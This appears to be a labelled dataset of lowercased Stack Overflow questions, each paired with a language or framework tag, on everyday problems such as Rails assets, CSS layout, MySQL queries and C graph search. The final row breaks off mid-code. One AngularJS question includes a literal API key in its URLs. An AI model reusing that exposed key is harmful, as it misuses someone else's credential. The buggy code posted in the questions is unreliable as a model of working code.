rails 4.2 upgrade: asset names passed to helpers should not include the  /assets/  prefix  i upgraded from rails 4.1 to 4.2. i get the following error now:   <pre><code>sprockets::rails::helper::absoluteassetpatherror at /  asset names passed to helpers should not include the  /assets/  prefix. instead of  /assets/spinner.gif   use  spinner.gif  </code></pre>   the error message is clear. however  i don t know what it s talking about. it highlights this line of code:   <pre><code>  &lt;div class= loading &gt;     &lt;%= image_tag asset_path( spinner.gif ) %&gt;   &lt;/div&gt; </code></pre>   i do not use the literal string  /assets/  in that line of code. so what is this error referring to     i was able to resolve that specific error by removing the call to <code>asset_path</code> and just using <code>image_tag  spinner.gif </code>; however  i still get the error right here (i am using paperclip gem):   <pre><code>&lt;%= image_tag current_user.avatar.url(:thumb) %&gt; </code></pre>   caused by this:   <pre><code>actioncontroller::base.helpers.asset_path( missing-user.png ) </code></pre>   again  it is complaining about asset_path.    update:    error only occurs when i pass asset_path to image_tag method:   <pre><code>actioncontroller::base.helpers.asset_path( missing-user.png )  =&gt;  /assets/missing-user.png    helper.image_tag(actioncontroller::base.helpers.asset_path( missing-user.png )) sprockets::rails::helper::absoluteassetpatherror: asset names passed to helpers should not include the  /assets/  prefix. instead of  /assets/missing-user.png   use  missing-user.png  </code></pre>,ruby-on-rails
a simple battery widget  if i would like to develop a simple battery widget  which update the widget picture whenever any battery information changes (ac plugged  battery level changes)  how should i keep track to the battery status  i do consider to use alarmmanager but then the widget will be updated periodically (say  5mins)  how can i make the update be done right after any event happens,android
python how to form dict from this file  need small help. i have a large file which contains mainly lines from below screen shot.  there is empty line(s) between each block that start with string  zone .    how can i form  dictionary  so that test_1  test_2 and test_3 are my keys and my values are all lines till empty line     example of first key    key = test_1    values = [ * fcid 0x170024 [pwwn 10:00:00:00:c9:5f:84:93] [xxxx]   * fcid 0x170016 [pwwn 50:06:0e:80:16:60:ef:43] [xxxxxxxxx] ]    any good tip  thanks in advance    <a href= https://i.stack.imgur.com/ykbcz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ykbcz.png  alt= enter image description here ></a>    here is the text:   <pre><code>zone name test_1 vsan xx  * fcid 0x170024 [pwwn 10:00:00:00:c9:5f:84:93] [xxx] * fcid 0x170016 [pwwn 50:06:0e:80:16:60:ef:43] [xxxxxx]  zone name test_2 vsan xx  * fcid 0x170024 [pwwn 10:00:00:00:c9:5f:84:93] [xx] * fcid 0x170017 [pwwn 50:06:0e:80:16:60:ef:63] [xxx]  zone name test_2 vsan yy  pwwn 10:00:00:90:fa:81:bb:f2 * fcid 0x0b00c0 [pwwn 50:06:0e:80:07:e6:2e:26] </code></pre>,python
best way to handle conditional statement  i have the following condition using in my code but that doesn t look very efficient is this any better way to handle     <pre><code>if (ic = filename.contains( .wmv )) {     if (bitnumber &gt; 400)     {         path =  ftp://  + ftpserverip +  /  +  media  +  /  +  lib  +  /  + programname +  /  + date +  / ;         uploadcondition(path  filename);         //return path;     } }  if (ic = filename.contains( .wmv )) {     if (bitnumber &lt; 400)     {         path =  ftp://  + ftpserverip +  /  +  mpegmedia  +  /  +  news  +  /  + programname +  /  +  video  +  /  +  podcast  +  / ;         uploadcondition(path  filename);         //return path;     } }  if (ic = filename.contains( .m4v )) {     path =  ftp://  + ftpserverip +  /  +  mpegmedia  +  /  +  news  +  /  + programname +  /  +  video  +  /  +  podcast  +  / ;     uploadcondition(path  filename); }  if (ic = filename.contains( .mp4 )) {     path =  ftp://  + ftpserverip +  /  +  mpegmedia  +  /  +  news  +  /  + programname +  /  +  video  +  /  +  podcast  +  / ;     uploadcondition(path  filename); } if (ic = filename.contains( .flv )) {     path =  ftp://  + ftpserverip +  /  +  mpegmedia  +  /  +  news  +  /  + programname +  /  +  video  +  /  +  podcast  +  / ;     uploadcondition(path  filename); } if (ic = filename.contains( .mpg )) {     path =  ftp://  + ftpserverip +  /  +  mpegmedia  +  /  +  news  +  /  + programname +  /  +  video  +  /  +  podcast  +  / ;     uploadcondition(path  filename); } if (ic = filename.contains( .aac )) {     path =  ftp://  + ftpserverip +  /  +  mpegmedia  +  /  +  news  +  /  + programname +  /  +  audio  +  /  +  podcast  +  / ;     uploadcondition(path  filename); } if (ic = filename.contains( .mp3 )) {     path =  ftp://  + ftpserverip +  /  +  mpegmedia  +  /  +  news  +  /  + programname +  /  +  audio  +  /  +  podcast  +  / ;     uploadcondition(path  filename); } </code></pre>,c#
how to build a guidance after the launchscreen   i want to build a srcollviewcontroller which has some imageview as a guide view after the launchscreen done. in appdelegate  i want to use window.rootviewcontroller. but the project is using <a href= https://github.com/gotosleep/jasidepanels  rel= nofollow >jasidepanels</a> window.rootviewcontroller has been used. and it seem hard to change this.is there any other way to insert a viewcontroller between the launchscreen and jasidepanels,ios
trying to vertically align div inside div  i am trying to vertically align a div inside another div at the bottom and i do not want to use relative/absolute positioning. below is my markup. it seems to work. but i am not sure whether this is the best solution. can anyone recommend a better way  also  in ff if i remove the border around the container  it stops working. does anyone know why  thanks konstantin   <pre><code> &lt;html> &lt;head>     &lt;style type= text/css >         .container         {             background-color: #ffff00;             height: 100px;             line-height: 100px;             border: solid 1px #666666;         }         .container .content         {             margin-top: 60px;             background-color: #ffbbbb;             height: 40px;             line-height: 40px;         }     &lt;/style> &lt;/head> &lt;body>     &lt;div class= container >         &lt;div class= content >test&lt;/div>     &lt;/div> &lt;/body> &lt;/html> </code></pre>,css
why does it take forever to run my python code even for a small input   i am new to programming  and i am also new to this website. so sorry if my code is stupid  and i m wasting your time. i have been trying to solve a project euler <a href= https://projecteuler.net/problem=12  rel= nofollow >problem 12</a>. with a little help of internet i ve come up with an algorithm and wrote a code in python. i ve tried to generalise it so that it works for all numbers not only 500. at first i had problems with getting the right output  but then when i thought i fixed it  it only got worse because the program took forever to run. could you point out the misstakes i ve made:   <pre><code>l = int(input( l= )) def number_of_divisors(n):     global divisors     global count     global p     divisors = 1         count = 0     if n%2 == 0:         while n%2 == 0:             count += 1             n=n/2        divisors = divisors * count     count = 0     p = 3     while n != 1:         while n%p == 0:             count +=1             n = n/p         p += 2     divisors *= (count + 1)     return divisors def the_first_triangular_number_with_more_than_l_divisors(l):     global total_divisors     global n     total_divisors   n = 1   1     while total_divisors &lt;= l:         s = number_of_divisors(n+1)         total_divisors *= s         total_divisors = s     n += 1     return (n*(n+1))/2 x = the_first_triangular_number_with_more_than_l_divisors(l) print(x)  </code></pre>,python
"group javascript object by id  i have a javascript object    i m trying to group these objects by id  and produce a map of a list of names where the key is the id  and the value is the name. example:   <pre><code>{1 : [john  jane  mike]  3: [bob  will]} </code></pre>   with the code below  i get:   <pre><code>{1: [john  jane  mike  bob  will]  3: [john  jane  mike  bob  will]} </code></pre>   how can i achieve my desired output  any help would be appreciated.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var myobj = [{
     id: 1 
     name:  john  
     major:  accounting 
   } 
   {
     id: 1 
     name:  jane  
     major:  accounting 
   }  {
     id: 1 
     name:  mike  
     major:  accounting 
   }  {
     id: 3 
     name:  bob  
     major:  history 
   }  {
     id: 3 
     name:  will  
     major:  history 
   }]
 
 
 
 for (i in myobj) {
   var obj = myobj[i];
   var id = obj.id;
   var name = obj.name;
   var newmap = {};
   var namesarray = [];
 
   if (!(id in newmap)) {
     namesarray.push(name);
     newmap[id] = namesarray;
 
   } else {
     for (key in newmap) {
       if (key == id) {
         namesarray.push(name);
         newmap[key] = namesarray;
       }
     }
   }
   console.log(newmap);
 }</code></pre>
 </div>
 </div>",javascript
how do i notify multiple activities and fragments of a dataset change   consider an android app that displays lists of data and lets the user drill down into it. at some point the user makes a change to the data that needs to be reflected in <strong>more than one</strong> activity on the back stack. what is the best pattern for achieving this,android
how to check if a file exists without also checking if i got the permission to read it   file.exists and fileinfo.exists can t be used in this case  as they check if the file exists and the permission levels are sufficient.    is there an easy way to check if a file exists regardless of the permissions     the context of the problem is a common one: asking the user if they really want to overwrite an existing file. you seldom want to overwrite a file you don t own  and a call to file.exists would miss that case and confuse it with the file not existing.,.net
do you have to release iboulets in dealloc   do you have to release iboulets in dealloc  i m not sure on this one because i didn t do the alloc and typically you only release for something you called alloc on. anyone know,iphone
months difference between dates <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1525990/difference-in-months >difference in months</a>    </blockquote>     hi all:    how can we calculate the months difference between two dates using linq   i can find days difference using:    (p.account.statechangedate.date - datetime.now.date).days &lt; 4    but there is no option for months.    please suggest.,.net
getting an error while upgrading my application in android market  whenever i try to upgrade my application in <code>android market</code>  i am getting this error:   <pre><code>the `apk` file must be signed with at least one certificate in common with the previous version. </code></pre>   and i have lost my previous <code>keystore</code>.,android
is there any difference between synchronized(userdefine.class) and symchronized(define1.getclass())   i m learning java mutlithread these days i met a problem.is there any difference between synchronized(userdefine.class) and synchronized(define1.getclass())    <pre><code>define1 is an instance of userdefine class. </code></pre>   thanks in advance :),java
hover effect on one producing css change in another element  here is the code:   <pre><code>&lt;ul id= gn-menu  class= gn-menu-main &gt;             &lt;li class= gn-trigger &gt;               &lt;a class= gn-icon gn-icon-menu &gt;             &lt;div class= hamburger hamburger--arrow &gt;                  &lt;div class= hamburger-box &gt;                   &lt;div class= hamburger-inner &gt;&lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;/a&gt;                  &lt;nav class= gn-menu-wrapper gn-open-part &gt;                     &lt;div class= gn-scroller &gt;                     &lt;ul class= gn-menu &gt;                             &lt;li&gt;&lt;a class= gn-icon  id= calendar  href= http://remindbuddy.com/main.php &gt;calendar&lt;/a&gt;                              &lt;/li&gt;                              &lt;li&gt;                                 &lt;a class= gn-icon self  href= http://remindbuddy.com/self.php &gt;add for self&lt;/a&gt;                             &lt;/li&gt;                             &lt;li&gt;&lt;a class= gn-icon events  href= http://remindbuddy.com/events.php &gt;events&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a class= gn-icon view  href= http://remindbuddy.com/contacts.php &gt;view contacts&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;                                 &lt;a class= gn-icon add  id= toggle &gt;add contact&lt;/a&gt;                                 &lt;ul id= panel  style= display:none &gt;                                     &lt;li&gt;&lt;a href= http://remindbuddy.com/professional.php  &lt; php if($_session[ pro ]==0){echo  style= pointer-events: none;  ;} &gt;&gt;professional&lt;/a&gt;&lt;/li&gt;                                     &lt;li&gt;&lt;a href= http://remindbuddy.com/personal.php &gt;personal&lt;/a&gt;&lt;/li&gt;                                 &lt;/ul&gt;                             &lt;/li&gt;                              &lt;li&gt;&lt;a class= gn-icon profile  href= http://remindbuddy.com/profile.php &gt;profile&lt;/a&gt;&lt;/li&gt;                          &lt;/ul&gt;                     &lt;/div&gt;&lt;!-- /gn-scroller --&gt;                 &lt;/nav&gt;             &lt;/li&gt;                                &lt;li class= pagetitle &gt;&lt;a href= # class= title &gt;profile&lt;/a&gt;&lt;/li&gt;          &lt;/ul&gt;           &lt;span class= left  id= calendartool &gt;calendar&lt;/span&gt; </code></pre>   what i want is that  for hover on <code>li#calendar</code> to change css property of <code>span#calendartool.</code> i have tried:   <pre><code> #calendar:hover #calendartool    #calendar:hover + #calendartool    #calendar:hover ~ #calendartool </code></pre>   but nothing seems to work.how to get this done in the given scenario.    thanxx in advance!!,css
.net replacement for maven  came across this today: <a href= http://nupack.codeplex.com/  rel= nofollow >nupack</a>    pretty new  but curious if anyone has tried it out and if we finally have a viable tool similar to the java world s maven,.net
const casting an int in a class vs outside a class  i read on the wikipedia page for <a href= http://en.wikipedia.org/wiki/null_pointer#null_pointer  rel= nofollow >null_pointer</a> that bjarne stroustrup suggested defining null as     const int null = 0;    if  you feel you must define null.  i instantly thought  hey.. wait a minute  what about const_cast     after some experimenting  i found that   <pre><code>int main() {     const int mynull = 0;     const int*  tonull = &amp;mynull;     int* myptr = const_cast&lt;int*&gt;(tonull);     *myptr = 5;     printf( mynull is %d\n   mynull);     return 0; } </code></pre>   would print  mynull is 0   but if i make the const int belong to a class:   <pre><code>class test { public:     test() : p(0) { }     const int p; }; int main() {     test t;     const int* pptr = &amp;(t.p);     int* myptr = const_cast&lt;int*&gt;(pptr);     *myptr = 5;     printf( t.p is %d\n   t.p);     return 0; } </code></pre>   then it prints  t.p is 5 !    why is there a difference between the two  why is  *myptr = 5;  silently failing in my first example  and what action is it performing  if any,c++
how to overload php function using javascript variable  i have already mentioned variable c_id in javascript    <pre><code>&lt;input id= response_id  type= hidden  value= &lt; php echo $conversation-&gt;getmessagelastid(c_id  $_session[ logged_in_user ]) &gt; &gt; </code></pre>,javascript
how to convert string ($23.25) to decimal -$23.25 in selenium with c#  i am using xpath to get a string shown in a format like ($23.25) which should be converted to -$23.25. i have tried:   <pre><code>decimal.parse(string  numberstyles.allowcurrencysymbol | numberstyles.number); </code></pre>   but this is not returning the negative value.,c#
why is the # convention used in empty anchor tag hrefs   i understand that it s a good idea not to leave empty anchor tags. in jquery and other syntaxes i ve noticed everyone typically uses a # to fill the gap (<code>&lt;a href= # &gt;anchor text&lt;/a&gt;</code>). is this character any better or worse than filling it with anything else  (e.g. <code>&lt;a href= $ &gt;anchor text&lt;/a&gt;</code>). i have no reason to want to do this  but seemingly no reason aside from convention to do it the other way either. why is the <code>#</code> convention used in empty anchor tag hrefs,html
mysql delete all records if if one of the records has a certain order_status_id  here is a table structure:   <pre><code>order_id | order_status_id |      ip     | date_added -----------------------------------------------      1        | 0               | 192.168.1.1 | 2016-12-07 2        | 0               | 192.168.1.1 | 2016-12-07 3        | 0               | 192.168.1.1 | 2016-12-07 4        | 0               | 192.168.1.1 | 2016-12-07 5        | 1               | 192.168.1.1 | 2016-12-07 </code></pre>   i have a sql request which deletes rows with the lowest id values in my case we delete records with order_id = 1 2 3   <pre><code>    delete n1 from `order` n1  `order` n2      where n1.order_id &gt; n2.order_id      and n1.order_status_id =  0       and n2.order_status_id =  0       and n1.ip = n2.ip     and day(n1.date_added) = day(n2.date_added) </code></pre>   but i want to delete all records with order_status_id = 0 (1 2 3 4) if one of the records (from same ip/date_added) has order_status_id = 1 (in my case because we have record order_id 5 with order_status_id = 1).,mysql
browser does not follow the page charset  i defined a webpage to use <code>iso-8859-1</code> like the following:   <pre><code>&lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1  /&gt; </code></pre>   but when i open the page in the browser  the browser is using utf-8 to read the page. why the browsers does not following the page charset,html
how to display and download files from database by clicking a link  the code below was used to display files (.wav files) from database.    my problem is that    1.) i want to display files id from database    2.) i also wanted that when i click on the link to be able to  download the file from database.    i have added this but could not get it to work as it only shows .wav files on all screen. when you click on download  instead of downloading the files  it will download php file name eg view.php   <pre><code>// show file id echo $f_id = $blob[ file_id ]; echo  &lt;a href= $blob_wav &gt;&lt;b style= color:white &gt;sss&lt;/b&gt;&lt;/a&gt; ; </code></pre>   can someone help me. below is the code    <strong>view.php</strong>   <pre><code>&lt; php      $dbhost =  localhost ;     $dbusername =  root ;     $dbpassword =   ;     $dbname =  store ;      //create connection and select db     $db = new mysqli($dbhost  $dbusername  $dbpassword  $dbname);      //check connection     if($db-&gt;connect_error){        die( connection failed:   . $db-&gt;connect_error);     }       $result = $db-&gt;query( select data from content );      if($result-&gt;num_rows &gt; 0){         $blob = $result-&gt;fetch_assoc();         $blob_wav = $blob[ data ];  // show file id         //echo $f_id = $blob[ file_id ];          header( content-type: audio/wav );         //echo  &lt;a href= $blob_wav &gt;&lt;b style= color:white &gt;sss&lt;/b&gt;&lt;/a&gt; ;         echo $blob_wav;      }else{         echo  blob .wav files not found... ;     }  &gt; </code></pre>,php
post response as a url  so  i have a method  create  inside my controller  but once i create my model  instead of showing the model itself  i want my view to show just the url of that model  eg:  http://www.myapp.com/model/1 .     i defined another action inside my controller  which is called  url   and once the model is saved (inside create method)  i am doing like this:   <pre><code>format.html { render :action =&gt;  url  } </code></pre>   so in this url view i want to show the full url of my model.    how can i get the model url to place there,ruby-on-rails
undefined variable during insert data in mysql  at the beginning  it was display notice: undefined index  but after i put if(isset)  it start to display notice:undefined variable.   <pre><code>&lt; php session_start(); require_once( connect.php );  if(isset($_post[ cid1 ])) { $cid1=$_post[ cid1 ]; } if(isset($_post[ pname1 ])) { $pname1=$_post[ pname1 ]; } if(isset($_post[ gen1 ])) { $gen1=$_post[ gen1 ]; } if(isset($_post[ ag1 ])) {$ag1=$_post[ ag1 ]; } if(isset($_post[ add1 ])){ $add1=$_post[ add1 ]; } if(isset($_post[ ad_dat1 ])){$ad_dat1=$_post[ ad_dat1 ];}  $my=mysql_query( insert into admission1(cid1  pname1  gen1  ag1  add1  ad_dat1)  values( $cid1    $pname1    $gen1    $ag1    $add1    $ad_dat1 ) )  or die ( unable to  insert );   &gt; </code></pre>,php
redirecting to another domain with post data  http_redirect alternative  i need to make a redirect from sitea to siteb  not just a redirect  but also send $_post data to siteb.    after some research i found <code>http_redirect()</code> function  which does what i was looking for. unfortunately i can t use this function so i am looking for an alternative which would do the same thing.    also tried <code>header( location: http://siteb.com   true  307);</code> and redirecting with <code>$.post</code> (after some research i found out that $.post cant rederect with post values)    any suggestions     edit:     made it work by just adding siteb to the forms action parameter.. it sends post values to that url..,php
jquery events wont execute after reapplying class selectors  okay so i have a problem where i am using buttons on a custom form that execute two ajax methods  both these functions work when first selected in the correct fashion. the problem i m having is after trying to execute the same function again after adding / removing classes that have the event handlers on them they fail to execute again meaning they only have a single life span and can t be used again.    from my research i have found that this problem is jquery event delegation and after reading the documentation i changed my original click functions to on functions which should reapply the event handlers after the change from my understanding.   <pre><code> $(document).ready(function () {         $( .checkbutton ).on( click   function () {             var objid = this.id;             $.ajax({                 url:  index.php system=testimonials&amp;task=update                   type:  post                   data: {val: objid}                  success: function (data  textstatus  jqxhr)                 {                     $( #testimonialspan  + objid).removeclass( label-warning );                     $( #testimonialspan  + objid).addclass( label-success );                     $( #testimonialspan  + objid).text( approved );                     $( #testimonialtick  + objid).removeclass( fa-check );                     $( #testimonialtick  + objid).addclass( fa-times );                     $( #  + objid).removeclass( checkbutton );                     $( #  + objid).addclass( timesbutton );                 }                  error: function (jqxhr  textstatus  errorthrown)                 {                     alert(textstatus + errorthrown + jqxhr);                 }             });         });          $( .timesbutton ).on( click   function () {             var objid = this.id;             $.ajax({                 url:  index.php system=testimonials&amp;task=update                   type:  post                   data: {times: objid}                  success: function (data  textstatus  jqxhr)                 {                     $( #testimonialspan  + objid).removeclass( label-success );                     $( #testimonialspan  + objid).addclass( label-warning );                     $( #testimonialspan  + objid).text( pending );                     $( #testimonialtick  + objid).removeclass( fa-times );                     $( #testimonialtick  + objid).addclass( fa-check );                     $( #  + objid).removeclass( timesbutton );                     $( #  + objid).addclass( checkbutton );                 }                  error: function (jqxhr  textstatus  errorthrown)                 {                     alert(textstatus + errorthrown + jqxhr);                 }             });         });     }); </code></pre>   i believe i am close but i have not been able to make this function as expected.,jquery
sql code unable to display attendance in percentage format  i am having trouble adding the condition to only show those with attendance less than 81..   <pre><code>select absence.studentid as studentnumber     student.name as  student name      subject.name as  subject name      convert(varchar  100 - (100 * count(*) / 10)) as  attendance(%)  from absence     subject     student     (       select count(*) as tot       from absence       ) x where subject.subjectcode = absence.subjectcode    and student.studentnumber = absence.studentid group by absence.studentid     subject.name     student.name; </code></pre>   the above is the code that displays exactly what i want but i cannot add in the condition only. my attendance(%) is already int right  so using the cast or convert does not work either. it says it has trouble converting.,sql
understanding postion:absolute  the following is from <a href= https://stackoverflow.com/questions/10426497/position-relative-vs-position-absolute >this</a> question s top answer   <blockquote>    <strong>absolute css positioning</strong>        position: absolute;        this tells the browser that whatever is going to   be positioned should be removed from the normal flow of the document   and will be placed in an exact location on the page. it won t affect   how the elements before it or after it in the html are positioned on   the web page however it will be subject to <strong>it s parents  positioning   unless you override it.</strong>  </blockquote>   now see the following code:   <pre><code>&lt;div class= panel panel-primary &gt;         &lt;div class= panel-heading &gt;panel with panel-primary class&lt;/div&gt;         &lt;div class= panel-body &gt;           &lt;span class= glyphicon glyphicon-circle-arrow-left &gt;&lt;/span&gt;           &lt;img src= ../../favicon.ico &gt;           &lt;img src= ../../favicon.ico &gt;           &lt;img src= ../../favicon.ico &gt;           &lt;img src= ../../favicon.ico &gt;           &lt;img src= ../../favicon.ico &gt;           &lt;img src= ../../favicon.ico &gt;           &lt;span class= glyphicon glyphicon-circle-arrow-right &gt;&lt;/span&gt;         &lt;/div&gt;       &lt;/div&gt; </code></pre>   if i make: <code>span{  position: absolute;}</code> it results in following:    <a href= https://i.stack.imgur.com/njqzo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/njqzo.png  alt= enter image description here ></a>    see the position of arrows  they are positioned with respect to div.panel-heading or div.panel-primary <strong>but not with respect to div.panel-body (which happens to be its immediate parent)</strong>. i can t understand why,css
how to only return unique values without count or group in mysql  my database class has me stumped on this problem. if anyone could help me that would be great    i have a table that has 2 columns. column 1 is soda types (coke  pepsi  dr. pepper  etc) and column 2 is names of people. people can drink multiple types of soda.    some entries might be   <ol> <li>coke jeremy</li> <li>diet coke sam</li> <li>dr. pepper jeremy</li> </ol>   i have to write a query that returns people that only drink one kind of soda. so jeremy would not be returned  but sam would. the problem is i can t use count or group (or any aggregate functions)! how would i do this without those     thanks!,mysql
how to split in c#   i am using code for splitting :   <pre><code>columnval = val.contains( : )   val.split( : )[1] : val; </code></pre>   example #2 approval level: formulator  i am getting result  formulator<br> as per expected ...but<br> now having issue when date and time is there<br> example #2 approval date: 11/18/2015 3:53:22 pm<br> result 11/18/2015 3<br> i am looking for whole string 11/18/2015 3:53:22 pm<br> what to do in this   please help me,c#
how can i get the membership roles and access rules in an web application after deployment  i am using website administration tool for membership role and access rules.it is working fine in development machine but in server not woking.in server vs ide is not installed.how can i get the membership roles and access rules in server after deployment.please help    thanks&amp;regards lijo,asp.net
dispatch events to child  i have a listview containing items with one button each and i want to handle user events in this order:   <ol> <li>touchevent on <em>listview</em>.</li> <li>touchevent on <em>listitem</em>.</li> <li>click on button inside <em>listitem</em>.</li> </ol>   how can i do this,android
how to convert uint16_t into char array in c   have the following data   <pre><code>uint16_t a[1] = { 0x1111 }; </code></pre>   i want to convert to <code>char b[]</code> as:   <pre><code>char b[1] = { 0x1111 }; </code></pre>   how can i do it in a c program,c
use radio button on webform to open another field where data can be entered  i have webform with several standard fields  however 1 field i want to be either shrunk or greyed out or hidden until the field above it...a radio button selection box with yes or no options  is selected yes...or even a check box would work...does not matter   <pre><code>&lt;tr&gt;  &lt;td style= width: 143px &gt;&lt;b&gt;add notes:  &lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;input type= radio  name= cmtad  value=yes&gt;yes     &lt;input type= radio  name= cmtad  value=no&gt;no &lt;/td&gt; &lt;/tr&gt;  &lt;tr&gt;  &lt;td style= width: 143px  class= style10 &gt;&lt;b&gt;notes:  &lt;/b&gt;&lt;/td&gt; &lt;td &gt; &lt;textarea input name=info rows= 5  cols= 32   style= color: black;background-color:#ffff66 &gt;&lt;/textarea&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>   i want the notes text area to appear only if yes is clicked in the radio button above it the add notes. thanks,html
table with multiple items in one field  i m pretty much a mysql newbie so sorry if this sounds daft or i ramble off topic.    i am building a table to list all the data about exhibitions. this comprises fields with data like venue  dates  times  etc and one field with a list of items exhibited. this field will have a delimited list of numbers. they will between 1 and 50 numbers in the range 1 to 999  currently the num_max is 170.    i realise that it would be better practice to hold this data in separate tables but that complicates the uploading process  would require a new table being created for each new exhibition and give rise to more opportunity for errors.    assuming that this strategy is correct  my real problem is in processing the data.    how do i extract the list of numbers then use it to get an array of product numbers from the master product table,mysql
i can use `and` in place of `where` in mysql queries  is this a bug or a feature  i have found in mysql when doing joins  i can use the word <code>and</code> in place of <code>where</code> like so:   <pre><code>select * from `myschema`.`tblone` left join `myschema`.`tbltwo` on `tblone`.`fieldx` = `tbltwo`.`fieldy` and `fieldz` =  foobar ; </code></pre>   is this a bug or is there a feature  are there scenarios where this could be useful     thanks,mysql
implicit generator inside brackets of constructor class  <pre><code>a = (x for x in range(5)) print(type(a))  # prints  &lt;class  generator &gt;  </code></pre>   but this raises <code>syntaxerror</code> (as expected):   <pre><code>a = x for x in range(5) </code></pre>   if i want to define a tuple with values from a generator  both of these work:   <pre><code>tup1 = tuple(x for x in range(5)) tup2 = tuple((x for x in range(5))) </code></pre>   in <code>tup1</code>  the brackets are part of the constructor of the <code>tuple</code> class. but why does it work,python
displaying of parameter after selection in dropdownlist in asp.net  if we select a value from dropdowlist e.g 1 or 2 etc. it should display number and size for a particular product. if we selected 2 from dropdownlist then number and size should display two times.,asp.net
javascript variable to replace names  how can i make so the if else if statement would work as supposed  in this case <code>thisminion.optiontable[option]</code> would be the same call as <code>thisminion.attack</code>     i do have the following:   <pre><code>var option = 1;   var optiontable = {1:  attack   2:  defence   3:  intelligence };             var $result = [];             var nameoption = optiontable[option];   if (thisminion.optiontable[option] &lt;= 100) {                 increasement = 10;             } else if (thisminion.optiontable[option] &gt;= 100 &amp;&amp; thisminion.optiontable[option] &lt; 200) {                 increasement = 5;             } else if (thisminion.optiontable[option] &gt;= 200 &amp;&amp; thisminion.optiontable[option] &lt; 300) {                 increasement = 5;             } else if (thisminion.optiontable[option] &gt;= 300 &amp;&amp; thisminion.optiontable[option] &lt; 400) {                 increasement = 1;             } else {                 increasement = 0;             } </code></pre>,javascript
how do i display json details from an api using angularjs   i have displayed the json objects in my view. how can i get to display other details of one object    <pre><code>var news= angular.module( news  []); news.controller( labcontroller   [      $scope    $http       function ($scope  $http) {         $scope.model={};         $scope.movies = [];         //var url =  https://api.themoviedb.org/3/movie/{movie_id} api_key=ea12c869f716552bef3493abf72c3617&amp;l&amp;language=en-us          var url =  https://api.themoviedb.org/3/movie/popular api_key=ea12c869f716552bef3493abf72c3617&amp;language=en-us&amp;page=1 ;           $http.get(url)           .then(function(success){                 $scope.movies = success.data.results;                 $scope.show = false;                             console.log(success.data.results);           } function(error){                 console.log(error);                 $scope.show = false;           });           function loaddetail(name) {         var url =  https://api.themoviedb.org/3/movie/ +name+  api_key=ea12c869f716552bef3493abf72c3617&amp;language=en-us&amp;page=1&amp;append_to_response=videos images          $http.get(url)             .then(function (response) {                 $scope.model.detail = response.data.results;                 //console.log(response.data.results);             }  function (response) {                 $scope.model.detail = { error: true  message:  error:   + response.data.message };             });             console.log( cy );             }            }]); </code></pre>,angularjs
autocomplete= off  is not working  i have a textfield that always show its history (what people have typed there). i googling about it and find out that i can use <code>autocomplete= off </code>. so i tried this code  which is inside a <code>div</code> tag :   <pre><code>&lt;p&gt;&lt;input type= text  name= txt_nama  id= txt_nama  autocomplete= off  /&gt;&lt;/p&gt; </code></pre>   but the annoying history is still showing. what should i do     this is the ss that may help you :    <img src= https://i.stack.imgur.com/129lo.png  alt= enter image description here >    thanks :d,html
dfs on a directed graph  i was implementing depth first search on a directed graph.below is the code i have implemented so far but it gives runtime error. on scrutinising the errors i found the recursive step causing all the trouble. i have separately tested all the other steps and they function properly but as soon as i put the recursive steps it gives runtime error.the input has been given in adjacency list format. please help!   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;limits.h&gt;  struct vertex{     int d f;     int color;     int length;     int mark;     int* adj_list; };  int time=0;  void dfs(struct vertex* v struct vertex node int n int time){     v[node.mark].d=++time;     v[node.mark].color=1;     int itr=v[node.mark].length;      for(int i=0;i&lt;itr;i++){         int curr=node.adj_list[i];         if(v[curr].color==0){             dfs(v v[curr] n time);         }     }     v[node.mark].f=++time;     v[node.mark].color=2;     printf( %d  node.mark);     return; }   int main(void) {int n num i=0 j=0;     scanf( %d  &amp;n);     int** list;     struct vertex* v;     v=(struct vertex*)malloc(sizeof(struct vertex)*n);      list=(int**)malloc(sizeof(int)*n);     int* nums;     nums=(int*)malloc(sizeof(int)*n);     for(i=0;i&lt;n;i++){         nums[i]=0;     }     i=0;     do{         scanf( %d  &amp;num);         if(num!=-1){             nums[j++]=num;         }         else if(num==-1){             v[i].length=j;             list[i]=(int*)malloc(sizeof(int)*j);             for(int k=0;k&lt;j;k++){                 list[i][k]=nums[k];                 nums[k]=0;             }             i++;             j=0;         }     }while(i&lt;n);      for(i=0;i&lt;n;i++){         v[i].d=int_max;         v[i].f=int_max;         v[i].color=0;         v[i].mark=i;         v[i].adj_list=list[i];     }      for(i=0;i&lt;n;i++){         printf( %d   v[i].mark);     }      dfs(v v[0] n time);      return 0; } </code></pre>,c
why are these jquery statements at the top of the file breaking the ones below   the <strong>jquery accordion</strong> part it is breaking the others below (<strong>nivo slider</strong> and <strong>jplayer</strong>).    like you can see in this website: <a href= http://alexchen.info/brianfunshine  rel= nofollow >http://alexchen.info/brianfunshine</a>   <pre><code>var $j = jquery.noconflict();  $j(document).ready(function () {     /**      * jquery accordion      */     $j( #list1b ).accordion({         autoheight: false     });     $j( #list1c ).accordion({         autoheight: false     });     $j( #list1d ).accordion({         autoheight: false     });     $j( #list1e ).accordion({         autoheight: false     });     /**      * nivo slider      */     $j( .jimgmenu ul ).kwicks({max: 310  duration: 300  easing:  easeoutquad });     /**      * jplayer      */     var playlist = function(instance  playlist  options) {         var self = this;          this.instance = instance; // string: to associate specific html with this playlist         this.playlist = playlist; // array of objects: the playlist         this.options = options; // object: the jplayer constructor options for this playlist          this.current = 0;          this.cssid = {             jplayer:  jquery_jplayer_               interface:  jp_interface_               playlist:  jp_playlist_          };         this.cssselector = {};          $j.each(this.cssid  function(entity  id) {             self.cssselector[entity] =  #  + id + self.instance;         });          if(!this.options.cssselectorancestor) {             this.options.cssselectorancestor = this.cssselector.interface;         }          $j(this.cssselector.jplayer).jplayer(this.options);          $j(this.cssselector.interface +   .jp-previous ).click(function() {             